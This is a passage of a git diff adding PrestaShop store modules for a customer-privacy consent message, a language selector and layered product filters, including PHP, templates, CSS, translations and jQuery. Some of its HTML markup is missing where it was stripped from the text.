    '; + } + + $content = ''; + if (version_compare(_PS_VERSION_, '1.4.0.0') >= 0) + $content .= ' + + + + '; + else + { + $content .= ' + + '; + } + + $values = Configuration::getInt('CUSTPRIV_MESSAGE'); + $content .= $output; + $content .= ' +
    '.$this->displayName.' +
    + +
    '; + foreach ($languages as $language) + $content .= ' +
    + +
    '; + $content .= $this->displayFlags($languages, $id_lang_default, 'ccont', 'ccont', true).' +
    +
    +

    + '.$this->l('The customer data privacy message will be displayed in the account creation form.').'
    + '.$this->l('Tip: If the customer privacy message is too long to be written directly in the form, you can add a link to one of your pages. This can easily be created via the "CMS" page under the "Preferences" menu.').' +

    +
    +
     
    +
    + +
    +
    +
    '; + + return $content; + } + + public function checkConfig() + { + if (!$this->active) + return false; + + $message = Configuration::get('CUSTPRIV_MESSAGE', $this->context->language->id); + if (empty($message)) + return false; + + return true; + } + + public function hookHeader($params) + { + if (!$this->checkConfig()) + return; + $this->context->controller->addJS($this->_path.'blockcustomerprivacy.js'); + } + + public function hookActionBeforeSubmitAccount($params) + { + if (!$this->checkConfig()) + return; + + if (!Tools::getValue('customer_privacy')) + $this->context->controller->errors[] = $this->l('If you agree to the terms in the Customer Data Privacy message, please click the check box below.'); + } + + public function hookCreateAccountForm($params) + { + if (!$this->checkConfig()) + return; + if (!$this->isCached('blockcustomerprivacy.tpl', $this->getCacheId())) + $this->smarty->assign('privacy_message', Configuration::get('CUSTPRIV_MESSAGE', $this->context->language->id)); + + return $this->display(__FILE__, 'blockcustomerprivacy.tpl', $this->getCacheId()); + } +} diff --git a/modules/blockcustomerprivacy/blockcustomerprivacy.tpl b/modules/blockcustomerprivacy/blockcustomerprivacy.tpl new file mode 100755 index 0000000..1e9fff5 --- /dev/null +++ b/modules/blockcustomerprivacy/blockcustomerprivacy.tpl @@ -0,0 +1,32 @@ +{* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
    + \ No newline at end of file diff --git a/modules/blockcustomerprivacy/index.php b/modules/blockcustomerprivacy/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcustomerprivacy/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blockcustomerprivacy/logo.gif b/modules/blockcustomerprivacy/logo.gif new file mode 100755 index 0000000..9cdb8ef Binary files /dev/null and b/modules/blockcustomerprivacy/logo.gif differ diff --git a/modules/blockcustomerprivacy/logo.png b/modules/blockcustomerprivacy/logo.png new file mode 100755 index 0000000..111623c Binary files /dev/null and b/modules/blockcustomerprivacy/logo.png differ diff --git a/modules/blockcustomerprivacy/translations/fr.php b/modules/blockcustomerprivacy/translations/fr.php new file mode 100755 index 0000000..6ab6a30 --- /dev/null +++ b/modules/blockcustomerprivacy/translations/fr.php @@ -0,0 +1,16 @@ +blockcustomerprivacy_f2ec0fd2abc5714608241a1a0eac321b'] = 'Bloc confidentialité des données clients'; +$_MODULE['<{blockcustomerprivacy}prestashop>blockcustomerprivacy_cb6b92b60c9302e74a26ac246d0af0fa'] = 'Ajoute un bloc qui affiche un message concernant la confidentialité des données clients.'; +$_MODULE['<{blockcustomerprivacy}prestashop>blockcustomerprivacy_d71315851e7e67cbacf5101c5c4ab83d'] = 'Les informations personnelles que nous collectons sont destinées à mieux répondre à vos demandes et traiter vos commandes.'; +$_MODULE['<{blockcustomerprivacy}prestashop>blockcustomerprivacy_b43d08355db3df47796e65c72cfd5714'] = 'Vous disposez à tout moment d’un droit d’accès, de modification et de suppression de vos informations personnelles que vous pouvez exercer via la page \"mon compte\" de ce site internet.'; +$_MODULE['<{blockcustomerprivacy}prestashop>blockcustomerprivacy_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{blockcustomerprivacy}prestashop>blockcustomerprivacy_d8b716e21c731aba4b94ba9f3ac4858c'] = 'Message concernant la confidentialité des données clients'; +$_MODULE['<{blockcustomerprivacy}prestashop>blockcustomerprivacy_03e1a999dcdb904300ee1b1e767c83c9'] = 'Le message sera affiché sur le formulaire de création de compte.'; +$_MODULE['<{blockcustomerprivacy}prestashop>blockcustomerprivacy_b51d73fb490ad1245fa9b87042bbbbb7'] = 'Astuce : si votre texte est trop long pour être affiché entièrement sur le formulaire d\'inscription sans gêner la navigation, vous pouvez à la place indiquer un lien vers une des pages que vous avez créées via la page \"CMS\".'; +$_MODULE['<{blockcustomerprivacy}prestashop>blockcustomerprivacy_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{blockcustomerprivacy}prestashop>blockcustomerprivacy_fb32badede7c8613fddb8502d847c18b'] = 'Veuillez accepter nos conditions concernant la confidentialité des données clients, en cochant la case ci-dessous.'; +$_MODULE['<{blockcustomerprivacy}prestashop>blockcustomerprivacy_fb0440f9ca32a8b49eded51b09e70821'] = 'Confidentialité des données clients'; diff --git a/modules/blockcustomerprivacy/translations/index.php b/modules/blockcustomerprivacy/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blockcustomerprivacy/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocklanguages/blocklanguages.css b/modules/blocklanguages/blocklanguages.css new file mode 100755 index 0000000..aff58e0 --- /dev/null +++ b/modules/blocklanguages/blocklanguages.css @@ -0,0 +1,58 @@ +/* block top languages */ +#header_right #languages_block_top { + float:right; + margin: 0; + padding:2px 6px 1px 6px; + -moz-border-bottom-right-radius: 3px; + -moz-border-bottom-left-radius: 3px; + -webkit-border-bottom-right-radius: 3px; + -webkit-border-bottom-left-radius: 3px; + border-bottom-right-radius: 3px; + border-bottom-left-radius: 3px; + background: none repeat scroll 0 0 #000; +} +#header_right #languages_block_top p { + clear: left; + padding-right:20px; + font: 11px Arial,Verdana,sans-serif; + color: #ccc; + text-align: right; + background: url("img/block_languages_top_p_bg.png") no-repeat scroll right 1px transparent; +} +#languages_block_top ul#first-languages li { + float: left; + margin-right: 3px +} +#languages_block_top ul#first-languages li.selected_language { + float: left; +} +/*languages with jquery*/ +#countries { + cursor: pointer; + position: relative; + top: 1px; +} +#countries p { + position: relative; + top: 0; + padding: 0; +} +#countries p img { + padding-left: 5px; +} +#countries .countries_ul{ + display:none; + z-index: 10000; + padding:10px; + list-style-type:none; +} +#countries .countries_ul_hover{ + display:block; + z-index: 5000; + position:absolute; + right:6px; + padding:5px 10px; + height:auto; + width:20px; + background:#000000; +} diff --git a/modules/blocklanguages/blocklanguages.php b/modules/blocklanguages/blocklanguages.php new file mode 100755 index 0000000..351102c --- /dev/null +++ b/modules/blocklanguages/blocklanguages.php @@ -0,0 +1,110 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class BlockLanguages extends Module +{ + public function __construct() + { + $this->name = 'blocklanguages'; + $this->tab = 'front_office_features'; + $this->version = 1.1; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Language block'); + $this->description = $this->l('Adds a block allowing customers to select a website language. '); + } + + public function install() + { + return (parent::install() && $this->registerHook('top') && $this->registerHook('header')); + } + + private function _prepareHook($params) + { + $languages = Language::getLanguages(true, $this->context->shop->id); + if (!count($languages)) + return false; + $link = new Link(); + + if ((int)Configuration::get('PS_REWRITING_SETTINGS')) + { + $default_rewrite = array(); + if (Dispatcher::getInstance()->getController() == 'product' && ($id_product = (int)Tools::getValue('id_product'))) + { + $rewrite_infos = Product::getUrlRewriteInformations((int)$id_product); + foreach ($rewrite_infos as $infos) + $default_rewrite[$infos['id_lang']] = $link->getProductLink((int)$id_product, $infos['link_rewrite'], $infos['category_rewrite'], $infos['ean13'], (int)$infos['id_lang']); + } + + if (Dispatcher::getInstance()->getController() == 'category' && ($id_category = (int)Tools::getValue('id_category'))) + { + $rewrite_infos = Category::getUrlRewriteInformations((int)$id_category); + foreach ($rewrite_infos as $infos) + $default_rewrite[$infos['id_lang']] = $link->getCategoryLink((int)$id_category, $infos['link_rewrite'], $infos['id_lang']); + } + + if (Dispatcher::getInstance()->getController() == 'cms' && (($id_cms = (int)Tools::getValue('id_cms')) || ($id_cms_category = (int)Tools::getValue('id_cms_category')))) + { + $rewrite_infos = (isset($id_cms) && !isset($id_cms_category)) ? CMS::getUrlRewriteInformations($id_cms) : CMSCategory::getUrlRewriteInformations($id_cms_category); + foreach ($rewrite_infos as $infos) + { + $arr_link = (isset($id_cms) && !isset($id_cms_category)) ? + $link->getCMSLink($id_cms, $infos['link_rewrite'], null, $infos['id_lang']) : + $link->getCMSCategoryLink($id_cms_category, $infos['link_rewrite'], $infos['id_lang']); + $default_rewrite[$infos['id_lang']] = $arr_link; + } + } + $this->smarty->assign('lang_rewrite_urls', $default_rewrite); + } + return true; + } + + /** + * Returns module content for header + * + * @param array $params Parameters + * @return string Content + */ + public function hookTop($params) + { + if (!$this->_prepareHook($params)) + return; + return $this->display(__FILE__, 'blocklanguages.tpl'); + } + + public function hookHeader($params) + { + $this->context->controller->addCSS($this->_path.'blocklanguages.css', 'all'); + } +} + + diff --git a/modules/blocklanguages/blocklanguages.tpl b/modules/blocklanguages/blocklanguages.tpl new file mode 100755 index 0000000..0645dfd --- /dev/null +++ b/modules/blocklanguages/blocklanguages.tpl @@ -0,0 +1,88 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if isset($HOOK_MOBILE_HEADER)} + +{/if} +{if count($languages) > 1} +
    +
    + {* @todo fix display current languages, removing the first foreach loop *} +{foreach from=$languages key=k item=language name="languages"} + {if $language.iso_code == $lang_iso} + + {if isset($HOOK_MOBILE_HEADER)} +

    {$language.iso_code} {l s='Langues' mod='blocklanguages'}

    + {else} +

    {l s='Langues' mod='blocklanguages'} {$language.iso_code}

    + {/if} + {/if} +{/foreach} +
      + {foreach from=$languages key=k item=language name="languages"} +
    • + {if $language.iso_code != $lang_iso} + {/if} + {assign var=indice_lang value=$language.id_lang} + {if isset($lang_rewrite_urls.$indice_lang)} + + {else} + + + {/if} + {$language.name} {$language.iso_code} + + {if $language.iso_code != $lang_iso} + {/if} +
    • + {/foreach} +
    +
    +
    + + +{/if} + diff --git a/modules/blocklanguages/img/block_languages_top_p_bg.png b/modules/blocklanguages/img/block_languages_top_p_bg.png new file mode 100755 index 0000000..8f6d152 Binary files /dev/null and b/modules/blocklanguages/img/block_languages_top_p_bg.png differ diff --git a/modules/blocklanguages/img/index.php b/modules/blocklanguages/img/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocklanguages/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocklanguages/index.php b/modules/blocklanguages/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocklanguages/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocklanguages/logo.gif b/modules/blocklanguages/logo.gif new file mode 100755 index 0000000..7f11ef5 Binary files /dev/null and b/modules/blocklanguages/logo.gif differ diff --git a/modules/blocklanguages/logo.png b/modules/blocklanguages/logo.png new file mode 100755 index 0000000..dd65538 Binary files /dev/null and b/modules/blocklanguages/logo.png differ diff --git a/modules/blocklanguages/translations/en.php b/modules/blocklanguages/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/blocklanguages/translations/fr.php b/modules/blocklanguages/translations/fr.php new file mode 100755 index 0000000..e933f38 --- /dev/null +++ b/modules/blocklanguages/translations/fr.php @@ -0,0 +1,7 @@ +blocklanguages_d5988791c07fedc0e2fc77683b4e61f6'] = 'Bloc langues'; +$_MODULE['<{blocklanguages}prestashop>blocklanguages_5b2b53f769604bcbee6f67882c73fb94'] = 'Ajoute un bloc permettant au client de choisir sa langue'; diff --git a/modules/blocklanguages/translations/index.php b/modules/blocklanguages/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/blocklanguages/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/blocklayered/blocklayered-15.css b/modules/blocklayered/blocklayered-15.css new file mode 100755 index 0000000..615e2b3 --- /dev/null +++ b/modules/blocklayered/blocklayered-15.css @@ -0,0 +1,168 @@ +#enabled_filters { + margin: 0 0 10px 0; + background: #eee; + padding: 5px; +} +#enabled_filters .layered_subtitle { + font-weight: bold; + font-size: 12px; +} +#enabled_filters ul li {padding:2px 0} +#enabled_filters li a { + float: right; + display: inline-block; + height: 12px; + width: 12px; + text-indent: -5000px; + /*background: url(../../../img/icon/delete.gif) no-repeat 0 0 transparent;*/ + background: url(./delete.gif) no-repeat 0 0 transparent; + cursor: pointer; +} +#layered_block_left .layered_close { + float: right; + padding-right: 5px; +} +#layered_block_left span.layered_close a, +#layered_block_left span.layered_close a { + display:block; + height:13px; + width:13px; + text-decoration: none; + text-indent:-5000px; + background:url(img/icon/less.gif) no-repeat 2px 2px; +} +#layered_block_left span.closed a { + background:url(img/icon/more.gif) no-repeat 2px 2px; +} + +#layered_block_left .layered_subtitle { + display: inline-block; + font-weight: bold; + font-size: 12px; +} +#layered_block_left ul { + clear: both; + padding: 5px 0; +} +#layered_block_left ul li {padding:2px 0} +#layered_block_left ul li label {cursor: pointer;} +#layered_block_left div.block_content { +} +#layered_block_left ul { + padding-left: 0; +} +#layered_block_left ul li { + list-style-type: none; +} +#layered_block_left div > form > div > div { + margin-top: 5px; +} +#layered_block_left #enabled_filters , #layered_url_filter_block{ + font-size: 10px; + padding-bottom: 10px; + margin-bottom: 5px; + margin-top: 0px; + border-bottom: 1px dotted #CCC; +} +#layered_block_left #enabled_filters ul li { + margin-left: 0; + padding-left: 0; +} + + +/* Style moved form the template to the css */ + +#layered_block_left #enabled_filters ul li:hover { + background: inherit; + color: inherit; +} +#layered_block_left #enabled_filters a { + text-decoration: none; + color: red; +} +#layered_block_left ul li:hover { +} +#layered_block_left ul li input.checkbox { + vertical-align: middle; + margin-left: 2px; +} +#layered_block_left ul li .disabled { + color: #666; +} +#layered_block_left .color-option { + border: 1px solid #666666; + height: 16px; + margin-left: 0; + padding: 0; + width: 16px; +} +#layered_block_left .color-option.disable { + opacity: 0.5; + filter:alpha(opacity=50); + -moz-opacity:0.5; +} +#layered_block_left .nomargin a { + display: inline; +} +#layered_form .select { + width: 165px; +} +#layered_form .color-option { + margin-left: 0; + width: 16px; + height: 16px; + padding:0; + border: 1px solid #666; +} +#layered_form .color-option.on { + border: 1px solid red; +} +#layered_form input[type=radio] { + margin-left: 2px; + vertical-align: middle; +} +.layered_price_range { + margin-left: 7px; +} +.layered_price_range_unit { + margin-right: 7px; +} +.layered_slider_container { + margin: 6px 0 6px 7px; width: 91%; +} +.layered_slider { + margin-top:5px; +} +.layered_input_range_min { + width:30px; +} +.layered_input_range_max { + width:40px; +} +.layered_list_selected { + font-weight: bold; +} +.layered_list { + display: block; + cursor: pointer; +} +.layered_list:hover { + font-weight: bold; +} +.layered_ajax_loader p { + margin: 20px 0; + text-align: center; +} +.hide-action { + text-align: center; + text-align: right; + display: block; + cursor: pointer; +} +.hide-action:hover { + font-weight: bold; +} +#layered_form div div ul { + max-height: 200px; + overflow-x: auto; +} diff --git a/modules/blocklayered/blocklayered-ajax-back.php b/modules/blocklayered/blocklayered-ajax-back.php new file mode 100755 index 0000000..0cb509f --- /dev/null +++ b/modules/blocklayered/blocklayered-ajax-back.php @@ -0,0 +1,44 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registred Trademark & Property of PrestaShop SA +*/ + +/* Getting cookie or logout */ +include(dirname(__FILE__).'/../../config/config.inc.php'); +require_once(dirname(__FILE__).'/../../init.php'); + +if (substr(Tools::encrypt('blocklayered/index'),0,10) != Tools::getValue('layered_token') || !Module::isInstalled('blocklayered')) + die('Bad token'); + +include(dirname(__FILE__).'/blocklayered.php'); + +$category_box = Tools::getValue('categoryBox'); + +/* Clean categoryBox before use */ +if (is_array($category_box)) + foreach ($category_box AS &$value) + $value = (int)$value; + +$blockLayered = new BlockLayered(); +echo $blockLayered->ajaxCallBackOffice($category_box, Tools::getValue('id_layered_filter')); diff --git a/modules/blocklayered/blocklayered-ajax.php b/modules/blocklayered/blocklayered-ajax.php new file mode 100755 index 0000000..0a974c4 --- /dev/null +++ b/modules/blocklayered/blocklayered-ajax.php @@ -0,0 +1,32 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registred Trademark & Property of PrestaShop SA +*/ + +include(dirname(__FILE__).'/../../config/config.inc.php'); +include(dirname(__FILE__).'/../../init.php'); +include(dirname(__FILE__).'/blocklayered.php'); + +$blockLayered = new BlockLayered(); +echo $blockLayered->ajaxCall(); \ No newline at end of file diff --git a/modules/blocklayered/blocklayered-attribute-indexer.php b/modules/blocklayered/blocklayered-attribute-indexer.php new file mode 100755 index 0000000..42d064e --- /dev/null +++ b/modules/blocklayered/blocklayered-attribute-indexer.php @@ -0,0 +1,10 @@ +indexAttribute(); \ No newline at end of file diff --git a/modules/blocklayered/blocklayered-no-products.tpl b/modules/blocklayered/blocklayered-no-products.tpl new file mode 100755 index 0000000..058bf62 --- /dev/null +++ b/modules/blocklayered/blocklayered-no-products.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registred Trademark & Property of PrestaShop SA +*} +
    +

    {l s='There are no products.' mod='blocklayered'}

    +
    diff --git a/modules/blocklayered/blocklayered-price-indexer.php b/modules/blocklayered/blocklayered-price-indexer.php new file mode 100755 index 0000000..2d5bc03 --- /dev/null +++ b/modules/blocklayered/blocklayered-price-indexer.php @@ -0,0 +1,32 @@ +indexUrl($cursor, (int)Tools::getValue('truncate')); \ No newline at end of file diff --git a/modules/blocklayered/blocklayered.css b/modules/blocklayered/blocklayered.css new file mode 100755 index 0000000..25b271a --- /dev/null +++ b/modules/blocklayered/blocklayered.css @@ -0,0 +1,159 @@ +#layered_block_left div.block_content { + padding: 6px; +} + +#layered_block_left ul { + padding-left: 0; + max-height: 120px; + overflow-y: auto; + overflow-x: hidden; + padding-left: 1px; + padding-right: 1px; +} + +#layered_form > div > div { + border-bottom: 1px dotted #CCCCCC; + padding-bottom: 5px; + margin-bottom: 5px; +} + +#layered_block_left .hide-action { + display: block; + text-align: right; + padding-right: 5px; +} +#layered_block_left .hide-action:hover { + text-decoration: underline; +} + +#layered_block_left ul li { + margin-left: 15px; + padding-left: 2px; + list-style-type: none; +} + +#layered_block_left #enabled_filters , #layered_url_filter_block { + font-size: 10px; + padding-bottom: 5px; +} + +#layered_block_left #enabled_filters ul li { + margin-left: 0; + padding-left: 0; +} + + +/* Style moved form the template to the css */ +#layered_block_left #enabled_filters ul li:hover { + background: inherit; + color: inherit; +} + +#layered_block_left #enabled_filters a { + text-decoration: none; + color: red; +} + +#layered_block_left ul li:hover { + background: #71BF47; + color: #FFF; +} + +#layered_block_left ul li label { + cursor: pointer; +} + +#layered_block_left ul li.nomargin { + margin-left: 0; +} + +#layered_block_left span.layered_subtitle { + float: left; + font-weight: bold; + font-size: 12px; + display: block; + margin-bottom: 4px; +} + +#layered_block_left span.layered_close a { text-decoration: none; } + +#layered_block_left span.layered_close { + float: right; + font-weight: bold; + font-size: 12px; + display: block; + margin-bottom: 4px; +} + +#layered_block_left ul li input.checkbox { + vertical-align: middle; + margin-left: 2px; +} + +#layered_block_left ul li .disabled { + color: #666; +} +#product_list .warning { + margin-top: 13px; +} + +#layered_form .select { + width: 165px; +} +#layered_form .color-option { + margin-left: 0; + width: 16px; + height: 16px; + padding:0; + border: 1px solid #666; +} +#layered_block_left .color-option.disable { + opacity: 0.5; + filter:alpha(opacity=50); + -moz-opacity:0.5; +} +#layered_form .color-option.on { + border: 1px solid red; +} +#layered_form input[type=radio] { + margin-left: 2px; + vertical-align: middle; +} +.layered_price_range { + margin-left: 7px; +} +.layered_price_range_unit { + margin-right: 7px; +} +.layered_slider_container { + margin: 6px 0 6px 6px; width: 93%; +} +.layered_slider { + margin-top:5px; +} +.layered_input_range_min { + width:30px; +} +.layered_input_range_max { + width:40px; +} +.layered_list_selected { + font-weight: bold; +} +.layered_ajax_loader p { + margin: 20px 0; + text-align: center; +} +.hide-action { + text-align: center; + text-align: right; + display: block; + cursor: pointer; +} +.hide-action:hover { + font-weight: bold; +} +#layered_form div div ul { + max-height: 200px; + overflow-x: auto; +} diff --git a/modules/blocklayered/blocklayered.js b/modules/blocklayered/blocklayered.js new file mode 100755 index 0000000..144a9a3 --- /dev/null +++ b/modules/blocklayered/blocklayered.js @@ -0,0 +1,627 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registred Trademark & Property of PrestaShop SA +*/ + +var ajaxQueries = new Array(); +var ajaxLoaderOn = 0; +var sliderList = new Array(); +var slidersInit = false; + +$(document).ready(function() +{ + cancelFilter(); + openCloseFilter(); + + // Click on color + $('#layered_form input[type=button], #layered_form label.layered_color').live('click', function() + { + if (!$('input[name='+$(this).attr('name')+'][type=hidden]').length) + $('').attr('type', 'hidden').attr('name', $(this).attr('name')).val($(this).attr('rel')).appendTo('#layered_form'); + else + $('input[name='+$(this).attr('name')+'][type=hidden]').remove(); + reloadContent(); + }); + + // Click on checkbox + $('#layered_form input[type=checkbox], #layered_form input[type=radio], #layered_form select').live('change', function() + { + reloadContent(); + }); + + // Changing content of an input text + $('#layered_form input.layered_input_range').live('keyup', function() + { + if ($(this).attr('timeout_id')) + window.clearTimeout($(this).attr('timeout_id')); + + // IE Hack, setTimeout do not acept the third parameter + var reference = this; + + $(this).attr('timeout_id', window.setTimeout(function(it) { + if (!$(it).attr('id')) + it = reference; + + var filter = $(it).attr('id').replace(/^layered_(.+)_range_.*$/, '$1'); + + var value_min = parseInt($('#layered_'+filter+'_range_min').val()); + if (isNaN(value_min)) + value_min = 0; + $('#layered_'+filter+'_range_min').val(value_min); + + var value_max = parseInt($('#layered_'+filter+'_range_max').val()); + if (isNaN(value_max)) + value_max = 0; + $('#layered_'+filter+'_range_max').val(value_max); + + if (value_max < value_min) { + $('#layered_'+filter+'_range_max').val($(it).val()); + $('#layered_'+filter+'_range_min').val($(it).val()); + } + reloadContent(); + }, 500, this)); + }); + + $('#layered_block_left .radio').live('click', function() { + var name = $(this).attr('name'); + $.each($(this).parent().parent().find('input[type=button]'), function (it, item) { + if ($(item).hasClass('on') && $(item).attr('name') != name) { + $(item).click(); + } + }); + return true; + }); + + // Click on label + $('#layered_block_left label a').live({ + click: function() { + var disable = $(this).parent().parent().find('input').attr('disabled'); + if (disable == '' + || typeof(disable) == 'undefined' + || disable == false) + { + $(this).parent().parent().find('input').click(); + reloadContent(); + } + return false; + } + }); + + layered_hidden_list = {}; + $('.hide-action').live('click', function() { + if (typeof(layered_hidden_list[$(this).parent().find('ul').attr('id')]) == 'undefined' || layered_hidden_list[$(this).parent().find('ul').attr('id')] == false) + { + layered_hidden_list[$(this).parent().find('ul').attr('id')] = true; + } + else + { + layered_hidden_list[$(this).parent().find('ul').attr('id')] = false; + } + hideFilterValueAction(this); + }); + $('.hide-action').each(function() { + hideFilterValueAction(this); + }); + + // To be sure there is no other events attached to the selectPrductSort, change the ID + var id = 1; + while ($('#selectPrductSort').length) { // Because ids are duplicated + // Unbind event change on #selectPrductSort + $('#selectPrductSort').unbind('change'); + $('#selectPrductSort').attr('onchange', ''); + $('#selectPrductSort').addClass('selectProductSort'); + $('#selectPrductSort').attr('id', 'selectPrductSort'+id); + $('label[for=selectPrductSort]').attr('for', 'selectPrductSort'+id); + id++; + } + + // Since 1.5, event is add to .selectProductSort and not to #selectPrductSort + setTimeout(function() { + $('.selectProductSort').unbind('change'); + }, 100); + + $('.selectProductSort').live('change', function(event) { + $('.selectProductSort').val($(this).val()); + reloadContent(); + }); + + // To be sure there is no other events attached to the nb_item, change the ID + var id = 1; + while ($('#nb_item').length) { // Because ids are duplicated + // Unbind event change on #nb_item + $('#nb_item').unbind('change'); + $('#nb_item').attr('onchange', ''); + $('#nb_item').addClass('nb_item'); + $('#nb_item').attr('id', 'nb_item'+id); + $('label[for=nb_item]').attr('for', 'nb_item'+id); + id++; + } + $('.nb_item').live('change', function(event) { + $('.nb_item').val($(this).val()); + reloadContent(); + }); + + paginationButton(); + initLayered(); +}); + +function hideFilterValueAction(it) +{ + if (typeof(layered_hidden_list[$(it).parent().find('ul').attr('id')]) == 'undefined' || layered_hidden_list[$(it).parent().find('ul').attr('id')] == false) + { + $(it).parent().find('.hiddable').hide(); + $(it).parent().find('.hide-action.less').hide(); + $(it).parent().find('.hide-action.more').show(); + } + else + { + $(it).parent().find('.hiddable').show(); + $(it).parent().find('.hide-action.less').show(); + 